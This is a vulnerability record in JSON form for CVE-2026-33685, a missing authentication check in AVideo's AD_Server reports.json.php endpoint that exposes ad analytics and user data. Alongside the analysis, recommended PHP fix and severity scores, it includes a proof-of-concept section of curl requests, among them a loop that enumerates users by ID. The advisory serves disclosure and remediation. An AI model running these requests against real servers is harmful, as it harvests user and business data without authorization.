{"id":"CVE-2026-33685","aliases":["GHSA-j36m-74g2-7m95"],"url":"https://o3.security/vulnerability/CVE-2026-33685","summary":"AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data","details":"## Summary\n\nThe `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected.\n\n## Details\n\nThe vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:\n\n```php\n// plugin/AD_Server/reports.json.php:1-10\n<?php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\n// Fetch request parameters with safety checks\n$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;\n$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;\n$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;\n```\n\nCompare with the HTML page at `plugin/AD_Server/reports.php:6-8`, which correctly gates access:\n\n```php\nif (!User::isAdmin()) {\n    forbiddenPage(__(\"You cannot do this\"));\n    exit;\n}\n```\n\nAnd `plugin/AD_Server/getCSV.php:4-6`:\n\n```php\nif (!User::isAdmin()) {\n    forbiddenPage('You must be Admin');\n}\n```\n\nThe JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, `getAdsByVideoAndPeriod()` at `VastCampaignsLogs.php:239` executes:\n\n```sql\nSELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,\n       COUNT(vcl.id) as total_ads, vc.name as campaign_name\nFROM vast_campaigns_logs vcl\nLEFT JOIN videos v ON v.id = vcl.videos_id\nLEFT JOIN users u ON u.id = v.users_id\nLEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id\nLEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id\n```\n\nThis returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.\n\nAdditionally, `plugin/AD_Server/getData.json.php` also lacks authentication and exposes aggregate ad view counts via `VastCampaignsLogs::getViews()`, though with lower impact.\n\n## PoC\n\n```bash\n# 1. Get all ad performance by video — returns video titles, user channel names,\n#    user IDs, campaign names, and impression counts (no auth needed)\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'\n\n# Expected: JSON array with objects containing video_title, channelName,\n# users_id, videos_id, total_ads, campaign_name\n\n# 2. Get per-user ad analytics for a specific user\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'\n\n# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id\n\n# 3. Get ad type breakdown with campaign names\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 4. Get ads for a specific video\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 5. Enumerate users by iterating user IDs\nfor i in $(seq 1 20); do\n  curl -s \"https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i\"\ndone\n\n# 6. Aggregate view counts (lower impact, also unauthenticated)\ncurl -s 'https://target/plugin/AD_Server/getData.json.php'\n\n# Expected: {\"error\":false,\"msg\":\"\",\"views\":12345}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate platform users**: Extract user IDs and channel names by iterating `users_id` values via the `adsByUser` report type\n- **Extract ad campaign intelligence**: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)\n- **Map video-to-user relationships**: Determine which user owns which video and their ad revenue performance\n- **Competitive intelligence**: On multi-tenant instances, one content creator could extract another's ad performance data\n\nThe data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to both `reports.json.php` and `getData.json.php`, matching the pattern used by `reports.php` and `getCSV.php`:\n\n**plugin/AD_Server/reports.json.php** — add after line 5:\n```php\n<?php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n    header('HTTP/1.1 403 Forbidden');\n    die(json_encode(['error' => 'You must be an admin to access this resource']));\n}\n```\n\n**plugin/AD_Server/getData.json.php** — add after line 4:\n```php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n    header('HTTP/1.1 403 Forbidden');\n    die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));\n}\n```","published":"2026-03-23T18:42:45.372Z","modified":"2026-08-12T03:51:27.175196477Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00315,"percentile":0.23975,"asOf":"2026-09-04"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde","label":"WWBN/AVideo@daca4ff"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33685.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33685"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.175196477Z"}}